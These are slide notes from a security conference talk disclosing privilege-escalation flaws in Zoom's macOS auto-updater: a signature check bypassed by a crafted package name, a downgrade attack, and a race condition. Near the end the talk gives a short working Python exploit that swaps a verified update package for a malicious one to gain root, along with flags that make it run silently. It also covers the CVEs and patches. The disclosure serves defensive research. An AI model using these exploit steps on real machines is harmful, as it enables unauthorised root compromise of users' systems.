You're M̶u̶t̶e̶d̶ Rooted

You're Muted Rooted
Exploiting Zoom on macOS

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WHOAMI
Patrick Wardle
Objective-See Foundation, 501(c)(3)
macOS security Tools
"The Art of Mac Malware" books
"Objective by the Sea" conference

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Crypto Bug
OUTLINE
Downgrade Attack
Via multiple flaws in Zoom's "auto update" feature on macOS, a
 
local attacker/malware could trivially escalate privileges to root.
Fix(es)
Background

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Background
previous research + a new feature

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PREVIOUS RESEARCH (@DEF CON, 2017)
on exploiting installers in general
DefCon 25
 
"Death By 1000 Installers"
non-priv'd / writable location
runs as root
local (non-priv'd)
attacker

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PREVIOUS RESEARCH (2020)
root, via Zoom's installer
# ./ProcessMonitor
 
{

"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

"process" : {

"uid" : 0,

"arguments" : [

"/bin/sh",

"./runwithroot",

...

],

}
 
}
 
 
% ls -lart com.apple.install.v43Mcm4r

...
 
-rwxr-xr-x 1 user staff runwithroot
running as root
executing script
owned by user !
setuid (root) shell
whoami: root
"The 'S' in Zoom, Stands for Security"
 
https://objective-see.org/blog/blog_0x56.html

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A RECENT OBSERVATION
password needed for install/uninstall
Password required !

( or Touch ID )
Installation
Uninstallation
password (required)

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A RECENT OBSERVATION
but no password required for (auto)updates!?
"Auto update"
 
(enabled by default)
Update alert
} on an update:

no password needed!?

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AN (AUTO)UPDATE
Zoom's updater application: ZoomAutoUpdater.app
# ./ProcessMonitor
 
{

 
"process" : {

"uid" : 501,

"arguments" : [

"~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/
 
ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater",

"1",

"~/Library/Application Support/zoom.us/AutoUpdater",

"~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg",

...

]

"path" : "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/
 
ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater",

"name" : "ZoomAutoUpdater",

"pid" : 57957

}
 
}

ZoomAutoUpdater.app

(invoked with the update package)
the update .pkg
Updater app
the updater app

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XPC connection to an updater daemon
AN (AUTO)UPDATE
/* @class ZMAutoUpdaterDaemonXPCServerMgr */
 
-(void *)connectToHelperTool {
 
 
if([self daemonHelperConnection] == 0x0) {
 
 
//make connection
 
// Mach/XPC service name: "us.zoom.ZoomDaemon"
 
[self setDaemonHelperConnection: [[NSXPCConnection alloc]
 
initWithMachServiceName:@"us.zoom.ZoomDaemon" options:0x1000]];
 
 
//protocol (implemented in remote service)
 
[[self daemonHelperConnection] setRemoteObjectInterface:
 
[NSXPCInterface interfaceWithProtocol:@protocol(ZMDaemonXPCProtocol)]];
 
 
[[self daemonHelperConnection] resume];
 
}
 
 
return [self daemonHelperConnection];
 
}
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Zoom's updater app Zoom's updater daemon
(XPC) connection to "us.zoom.ZoomDaemon"
connect via XPC to: us.zoom.ZoomDaemon

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Zoom's updater daemon: us.zoom.ZoomDaemon

 
...
 

 
Label
 
us.zoom.ZoomDaemon
 
MachServices
 

 
us.zoom.ZoomDaemon
 

 

 
Program
 
/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
ProgramArguments
 

 
/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 

 

 

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Mach (XPC) service:
 
"us.zoom.ZoomDaemon"
path to binary
% ls -lart /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
-r-xr--r-- 1 root wheel /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
 
% ps aux
 
...
 
root 14941 ... /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
AN (AUTO)UPDATE
us.zoom.ZoomDaemon: owned & runs as root
/Library/LaunchDaemons/us.zoom.ZoomDaemon.plist

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Zoom's updater daemon protocol: ZMDaemonXPCProtocol
AN (AUTO)UPDATE
% class-dump /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
 
@interface ZMDaemonHelperXPCMgr : NSObject

...

@property(retain) NSXPCListener *listener; // @synthesize listener=_listener;

- (void)checkIfZoomQuit:(long long)arg1;

- (void)launchApp:(id)arg1 arguments:(id)arg2;

- (id)getSafeInstallPath;

- (void)uninstallDaemonHelperWithReply:(CDUnknownBlockType)arg1;

- (void)getInstallNewPackageStatusWithReply:(CDUnknownBlockType)arg1;

- (void)installNewPackage:(id)arg1 reply:(CDUnknownBlockType)arg2;

- (void)exitDaemonHelperWithReply:(CDUnknownBlockType)arg1;

- (void)runDaemonHelperWithReply:(CDUnknownBlockType)arg1;

- (BOOL)listener:(id)arg1 shouldAcceptNewConnection:(id)arg2;

...
ZMDaemonXPCProtocol methods

(us.zoom.ZoomDaemon)
install update?
(privileged) methods invocable by clients

(e.g. Zoom's updater application)
validate clients

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updater app → daemon "installNewPackage:"
AN (AUTO)UPDATE
/* @class ZMAutoUpdaterInstaller */
 
-(void)installPackage:(void *)arg2 isInstallForAllUsers:(char)arg3 result:(void *)arg4 {
 
...
 
[[ZMAutoUpdaterDaemonHelper sharedInstance] installPackage:pkg result:result];
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/* @class ZMAutoUpdaterDaemonHelper */
 
-(void)installPackage:(void *)arg2 result:(void *)arg3 {
 
rax = [self xpcMgr];
 
[rax installNewZoomPackage:arg2 result:rcx];
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/* @class ZMAutoUpdaterDaemonXPCServerMgr */
 
-(void)installNewZoomPackage:(void *)arg2 result:(void *)arg3 {
 
rax = [self connectToHelperTool];
 
rax = [rax remoteObjectProxyWithErrorHandler:rdx];
 
...
 
[rax installNewPackage:arg2 reply:rcx];
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us.zoom.Zoom
 
(priv'd helper)
installNewPackage:(id)arg1
 
reply:(CDUnknownBlockType)arg2;

} connect to daemon
invoke method
ZoomAutoUpdater.app

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AN (AUTO)UPDATE
update completed by macOS's installer
# ./ProcessMonitor
 
{

 
"process" : {

"name" : "installer",

"path" : "/usr/sbin/installer",

"uid" : 0,

"arguments" : [

"installer",

"-verboseR",

"-pkg",

"/Library/Application Support/zoom.us/zoomTmp.pkg",

"-target",

"/" ]
 
...

}

Update .pkg installed via macOS's installer
macOS installer
 
(spawned by daemon, hence uid: 0)
Updater app
Updater daemon
(macOS's) installer
the update .pkg

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SECURE?
...at first glance, appears so
Updater
 
daemon
Only Zoom clients can connect
 
to the privileged updater daemon
Update packages must be signed by Zoom
blocked!
Signed .pkg Unsigned .pkg

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SECURE?
only Zoom client(s) can connect to updater daemon
/* @class ZMCodeSignHelper */
 
+(char)isValidConnection:(void *)arg2 {
 
...
 
return ([ZMCodeSignHelper isValidConnection:r15 bundleID:@"us.zoom.xos"] ||
 
[ZMCodeSignHelper isValidConnection:rax bundleID:@"us.zoom.ZoomAutoUpdater"])
 
}
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+(char)isValidConnection:(void *)arg2 bundleID:(void *)arg3 {
 
 
//get client's code signing information (via kSecGuestAttributeAudit)
 
 
//init "requirement" string
 
r13 = [NSString stringWithFormat:@"identifier \"%@\" and %@ and %@", r15,
 
@"anchor apple generic and certificate leaf[subject.OU] = BJ4HAAB9B3
 
and certificate leaf[subject.CN] = \"Developer ID Application:
 
Zoom Video Communications, Inc. (BJ4HAAB9B3)\"", @"info [CFBundleVersion] >= \"5.8.6\""];
 
 
SecRequirementCreateWithStringAndErrors(r13, 0x0, &var_68, &var_58);
 
 
//validate (client) against "requirement"
 
r15 = SecCodeCheckValidity(rdi, 0x0, 0x0) == 0x0 ? 0x1 : 0x0;
 
return = r15 & 0xff;
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requirement:
 
"recent version of Zoom"
us.zoom.ZoomDaemon
"isValidConnection:" logic

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SECURE?
update packages must be signed by Zoom
 
+(char)checkPkgAuthority:(void *)pkg {
 
 
signatureOK = NO;
 
 
//init task
 
rax = [[NSTask alloc] init];
 
[rax setLaunchPath:@"/usr/sbin/pkgutil"];
 
 
//set args: "--check-signature", path to pkg, etc.
 
 
//launch task / wait
 
[rax launch];
 
[rax waitUntilExit];
 
 
//check signer(s)
 
// rbx = (std)output from pkgutil
 
if([rax terminationStatus] == 0x0) {
 
if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Zoom Video Communications, Inc."]) {
 
if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Developer ID Certification Authority"]) {
 
signatureOK = [ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Apple Root CA"]
 
} } }
 
 
return signatureOK;
 
}
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exec macOS's pkgutil
 
with --check-signature
signed validly, by: Zoom's developer ID
"checkPkgAuthority:" logic

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A Cryptographic Flaw
insecure package signature validation

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PACKAGE VALIDATION
via macOS's pkgutil tool
% pkgutil --check-signature ZoomUpdate.pkg

Package "ZoomUpdate.pkg":

Status: signed by a developer certificate

issued by Apple for distribution
 
Notarization: trusted by the Apple notary service

 
Certificate Chain:

1. Developer ID Installer:
 
Zoom Video Communications, Inc. (BJ4HAAB9B3)
 
2. Developer ID Certification Authority

 
3. Apple Root CA
macOS's pkgutil
pkgutil: "query & manipulate
 
Mac OS X Installer packages and receipts"
Signature status
Certificate chain
pkgutil provides

a package's:

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SECURE?
an attempt to ensure packages are signed by Zoom
 
+(BOOL)checkPkgAuthority:(void *)arg2 {
 
 
//init/task:
 
// pkgutil --check-signature
 
 
//set stdout to pipe
 
pipe = [NSPipe pipe];
 
[task setStandardOutput:pipe];
 
 
//launch task
 
 
//read all stdout
 
handle = [pipe fileHandleForReading];
 
data = [handle readDataToEndOfFile];
 
output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
 
 
//check signer(s)
 
if([task terminationStatus] == 0x0) {
 
if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) {
 
if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) {
 
signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"]
 
} } }
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% pkgutil --check-signature ZoomUpdate.pkg

Package "ZoomUpdate.pkg":


 
 
Certificate Chain:

1. Developer ID Installer:
 
Zoom Video Communications, Inc. (BJ4HAAB9B3)
 
...
"checkPkgAuthority:" method
 
(verification via pkgutil & string comparison)
look for strings
exec/output from pkgutil

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STRING CMPS ON *ALL* OUTPUT FROM PKGUTIL
...this output includes the package's name 🤦
//read *all* data from stdout
 
handle = [pipe fileHandleForReading];
 
data = [handle readDataToEndOfFile];
 
output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
 
 
//check signer(s)
 
if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) {
 
if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) {
 
signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"]
 
} } }
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% pkgutil --check-signature
 
"Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg"

 
Package "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg":
 

package name, is included in stdout!
"signature ok"

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(lldb) process attach --name us.zoom.ZoomDaemon --waitfor
 
 
Process 949 stopped

-> 0x10b182814 : pushq %rbp

 
(lldb) po $rdi
 
ZMCodeSignHelper

 
(lldb) x/s $rsi
 
0x10b185450: "checkPkgAuthority:"
 
 
(lldb) po $rdx
 
/private/tmp/Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg

Process 949 stopped
 
-> 0x10b182b1c : retq

 
Target 0: (us.zoom.ZoomDaemon) stopped.

(lldb) reg read $rax

rax = 0x0000000000000001
PACKAGE SIGNATURE BYPASS
...by package name!
+[ZMCodeSignHelper checkPkgAuthority:]
at end of verification method, retq,
 
method will now return 0x1 (TRUE) !!
(malicious) .pkg to verify
Bypassing package verification

("Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg")
us.zoom.ZoomDaemon

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A Downgrade Attack
back to (more) buggy versions

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ZOOM V5.9.0
released with "security enhancements"
# ./FileMonitor
 
"event": "ES_EVENT_TYPE_NOTIFY_CREATE"
 
 
"file":
 
"destination": "/Library/Application Support/zoom.us/zoomTmp.pkg"
 
"process":
 
"name": "us.zoom.ZoomDaemon"
 
"path": "/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon"
# ./ProcessMonitor
 
 
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC"
 
"process" :
 
"name" : "pkgutil"
 
"path" : "/usr/sbin/pkgutil"
 
"arguments" : [
 
"/usr/sbin/pkgutil"
 
"--check-signature"
 
"/Library/Application Support/zoom.us/zoomTmp.pkg"
 
]
the update .pkg
 
is first renamed (copied) as "zoomTmp.pkg"
the copy, is verified
(still) validated by pkgutil
/Library/Application
Support/zoom.us
zoomTmp.pkg
directory, owned by root

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zoomTmp.pkg
As the package (.pkg) is now renamed *and then* its
 
signature is verified, our package will no longer validate.
//validation failed
 
else {

...
 
[rax setErrorCode:0x2717];
 
}
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thwarts name-based .pkg attack
ZOOM V5.9.0
renamed
though insecure package validation (via pkgutil) still present

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BUT, CAN WE DOWNGRADE ZOOM!?
...by (re)installing an older (buggy) version?
no version checks?
 
...any Zoom .pkg installable !!
us.zoom.Zoom
Zoom < 5.9
 
(buggy, but signed)
verify
(signature)
install
}
installer logic
 
(us.zoom.Zoom)
now, exploit

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Exploitation
Zoom → root

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HOW TO TRIGGER AN UPDATE
...don't want to wait for Zoom!
Recall, only Zoom clients can
 
connect (to trigger an upgrade request)
/* @class ZMDaemonHelperXPCMgr */
 
-(BOOL)listener:(void *)arg2 shouldAcceptNewConnection:(void *)conn {
 
...
 
if ([ZMCodeSignHelper isValidConnection:rax] != 0x0) {
 
//allow
 
}
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+(BOOL)isValidConnection:(void *)conn {
 
 
//invoke +ZMCodeSignHelper isValidConnection twice
 
// with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos"

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Client validation logic
 
(in updater daemon)
Updater
 
daemon

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HOW TO TRIGGER AN UPDATE
...use Zoom's auto updater app!
+(BOOL)isValidConnection:(void *)conn {
 
 
//invoke +ZMCodeSignHelper isValidConnection twice
 
// with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos"

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Updater app
Updater
daemon
int EntryPoint() {
 
...
 
rax = [NSProcessInfo processInfo];
 
rax = [rax arguments];
 
if ([rax count] >= 0x9) {
 
 
//go go go
 
}
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void sub_10000859c(int arg0) {
 
r14 = [*(arg0 + 0x20) pkgInstaller];
 
r15 = [*(arg0 + 0x20) packagePath];
 
rax = [*(arg0 + 0x20) isInstallForAllUsers];
 
...
 
[r14 installPackage:r15
 
isInstallForAllUsers:rax result:r8];
 
return;
 
}
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path!
% ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater 1 2 ~/Downloads/Zoom_v5_8_6.pkg 4 5 6 7 8
-(void *)init {
 
...
 
rax = [rbx objectAtIndexedSubscript:0x3];
 
rsi = @selector(setPackagePath:);
 
objc_msgSend_1000100d0(rdi, rsi, rax);
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argv[3] = pkg path

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DEMO
...upgrading Zoom, "on command"

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EXPLOIT CHAIN
...root, in two simple steps
Zoom < 5.9
Updater app
"Zoom...Apple Root CA.pkg"
install old version
Updater app
install malicious .pkg # whoami

root

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DEMO

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SILENTLY?
...yes, via other arguments!
/* @class ZMAutoUpdaterMgr */
 
-(void *)init {
 
...
 
 
rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x5] boolValue]);
 
rdi = r14;
 
rsi = @selector(setIsNeedRelauch:);
 
objc_msgSend_1000100d0(rdi, rsi, rdx);
 
 
...
 
 
rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x6] boolValue]);
 
rdi = r14;
 
rsi = @selector(setIsShowUI:);
 
objc_msgSend_1000100d0(rdi, rsi, rdx);
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More arg parsing
 
(Zoom Updater App)
Should relaunch?
Should show UI?
By setting argv[5] & argv[6] to 0 (false),
the upgrade (or exploit) will be invisible!
ZoomAutoUpdater.app

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Fixes
how Zoom (eventually) patched these flaws

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CVE-2022-22781: DOWNGRADE ATTACK
Zoom v5.9.6, released April 2022
CVE-2022-22781
 
(patch time: 4+ months)
"[Zoom] failed to properly check the package version during the
update process. This could lead to a malicious actor updating an
unsuspecting user's currently installed version to a less secure
version" -Zoom Security Bulletin
$5,000
 
bug bounty

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CVE-2022-22781: PATCH DETAILS
is app version in upgrade pkg >= installed version?
 
-(BOOL)isZoomPkgVersionAllowed:(void *)arg2 {
 
 
//unzip .pkg
 
[[self unzipZoomPkg:rdx unzipDestFolder:rcx] retain];
 
 
//get version of "zoom.us.app" in unzipped .pkg
 
version = [self getPayloadDataWith:r12 unzipDestFolder:rax];
 
 
//check current version with app version
 
return [self checkPkgZoomVersionAllowed:rbx];
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Unzip
Extract
version #
Compare
 
-(BOOL)checkPkgZoomVersionAllowed:(void *)arg2 {
 
 
rax = [NSBundle bundleWithPath:arg2];
 
r14 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"];
 
 
rax = [NSBundle mainBundle];
 
r12 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"];
 
 
if ([r14 length] != 0x0 && [r12 length] != 0x0) {
 
rax = [r14 compare:r12 options:0x40] !=
 
0xffffffffffffffff ? 0x1 : 0x0;

}
 
...
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Downgrades
 
now blocked
"upgrade" < current version?

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CVE-2022-28751: PACKAGE VALIDATION
Zoom v5.11.3, released July 2022
CVE-2022-28751
 
(patch time: 7+ months)
$5,000
 
bug bounty
"[Zoom] contain[ed] a vulnerability in the package signature
validation during the update process. A local low-privileged user
could exploit this vulnerability to escalate their privileges to
root" -Zoom Security Bulletin

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CVE-2022-28751: PATCH DETAILS
.pkg signature now validated via CMS/XAR apis
% otool -L /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
...
 
/usr/lib/libxar.1.dylib
 
/System/Library/Frameworks/Security.framework/Versions/A/Security
% nm /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
 
U _CMSDecoderGetNumSigners
 
U _CMSDecoderCopySignerCert

...

U _xar_open

U _xar_signature_copy_signed_data
/* @class ZMCheckPkgSignatureHelper */
 
+(BOOL)checkPkgAuthorityByCMS:(void *)pkg {
 
 
return [[self class] validateInstallerPackage:pkg teamID:@"BJ4HAAB9B3"
 
installerAuthority:@"Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3)"];

}
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}new dependencies
 
...& their imports
validation now done (correctly) via APIs
Non-Zoom
 
.pkgs blocked

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PACKAGE VALIDATION
...better option: (private) PackageKit.framework
WhatsYourSign (Package.h/.m)
 
github.com/objective-see/WhatsYourSign/
 
 
"Reversing 'pkgutil' to Verify PKGs"
 
jamf.com/blog/reversing-pkgutil-to-verify-pkgs/
% otool -L /usr/sbin/pkgutil
 
/System/Library/PrivateFrameworks/Bom.framework/Versions/A/Bom
 
/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit
}
.pkg
 
validation
how pkgutil
 
validates packages

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Still All Broken
...you're (still) muted rooted

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RECALL
upgrade .pkg moved/renamed, then validated
# ./FileMonitor
 
"event": "ES_EVENT_TYPE_NOTIFY_CREATE"
 
"file":
 
"destination": "/Library/Application Support/zoom.us/zoomTmp.pkg"
 
"process":
 
"name": "us.zoom.ZoomDaemon"
copy of (update) .pkg
(lldb) process attach --name us.zoom.ZoomDaemon --waitfor
 
 
* thread #3, breakpoint 1.1
 
-> 0x100ebf866 : callq *%r9

 
(lldb) po $rdi
 

 
 
(lldb) x/s $rsi
 
0x7fff71b6054a: "copyItemAtPath:toPath:error:"
 
 
(lldb) po $rdx
 
/Users/user/Downloads/zoomusInstallerFull.pkg
 
 
(lldb) po $rcx
 
/Library/Application Support/zoom.us/zoomTmp.pkg
/Library/Application
Support/zoom.us
zoomTmp.pkg file copy API
source
dest.
directory, owned by root

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THE DESTINATION DIRECTORY IS OWNED BY ROOT
...but, the package is (still) world-writable! 🤦
% ls -la "/Library/Application Support/zoom.us"
 
drwxr-xr-x root admin .
 
 
% touch "/Library/Application Support/zoom.us/foo"
 
touch: /Library/Application Support/zoom.us/foo: Permission denied
 
[email protected] user staff zoomTmp.pkg
 
% whoami
 
user
 
% md5 "/Library/Application Support/zoom.us/zoomTmp.pkg"
 
MD5 (zoomTmp.pkg) = d8e2b6cdb16aed29a7f51e780543a08b
 
 
% echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg"
 
 
% md5 zoomTmp.pkg
 
MD5 (zoomTmp.pkg) = 24807d29234cda2b010ce9ac28c4071b
upgrade .pkg: owned by: user !?
As the permissions of the package are not updated, an
unprivileged local attacker can surreptitiously modify it!
..."editable!?" by anybody?
directory owned by: root

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A CLASSIC "TOCTTOU" BUG
a race condition between .pkg verification & install
zoomTmp.pkg
Copy (+rename)
 
to /Library/Application Support/zoom.us/
Verify
(signature)
Unzip
 
(+check version)
Install update
 
(recall, as root)
Subvert .pkg
After verification
 
Before installation
the race window
 
...can we reliably win !?
Upgrade:

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THE RACE WINDOW
...easily winnable, due to "large" window
Verify
(signature)
Unzip
 
(+check version)
Install update
 
(recall, as root)
Unzip:
 
% /usr/bin/xar
Version check:
 
% /bin/cat
 
% /usr/bin/cpio
Install:
 
% /usr/bin/sudo
 
% /usr/sbin/installer
to win
}
start

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FULL EXPLOIT
root ...in 10 lines of code
#imports ...
 
 
PAYLOAD = 'get.root.pkg'
 
PKG_DEST = '/Library/Application Support/zoom.us/zoomTmp.pkg'
 
 
subprocess.Popen(['ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater','2','3',
 
'/tmp/Zoom.pkg','5','6','7','8','9'])
 
 
while not os.path.exists(PKG_DEST):
 
time.sleep(0.1)
 
 
time.sleep(0.2)
 
shutil.copyfile(PAYLOAD, PKG_DEST)
01

02

03

04

05

06

07

08
 
09

10

11

12
 
13

trigger an update

(with valid Zoom pkg)
wait for copy of update .pkg to show up
replace (verified) package with malicious .pkg
zoomTmp.pkg
# whoami

root

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LIVE DEMO

View Slide

A PROPOSED FIX
...via a single API call?
[NSFileManager.defaultManager setAttributes:
 
@{NSFileGroupOwnerAccountID:@0, NSFileOwnerAccountID:@0};
 
ofItemAtPath:@"/Library/Application Support/zoom.us/zoomTmp.pkg" error:NULL];
01

02

03

NSFileOwnerAccountID: 0

NSFileGroupOwnerAccountID: 0
 
[email protected] root wheel zoomTmp.pkg
 
 
 
% echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg"
 
zsh: permission denied: /Library/Application Support/zoom.us/zoomTmp.pkg
permission (would then be) denied !
Set permissions
 
(owner: root, group: wheel)

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Conclusions
+takeaways

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TAKEAWAYS
Be careful choosing
 
usability over security!
Watch DefCon talks!
password (required)
Installer app + .pkg
 
...avoids most installer issues!
Where's there are bugs
 
...will likely be (many!) more
}

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MORE ON MACOS SECURITY
...topics of reversing, debugging, & malware
Free: taomm.org
 
For sale: amazon, etc...

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MAHALO!
"Friends of Objective-See"
Guardian Mobile Firewall
SmugMug iVerify Halo Privacy

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RESOURCES:
You're Muted Rooted
"Death By 1000 Installers"
 
speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken
 
 
"The 'S' in Zoom, Stands for Security"
 
objective-see.org/blog/blog_0x56.html
 
 
"Zoom Zero Day: 4+ Million Webcams & maybe an RCE?"
 
infosecwriteups.com/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5

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You're M̶u̶t̶e̶d̶ Rooted

You're M̶u̶t̶e̶d̶ Rooted

Patrick Wardle

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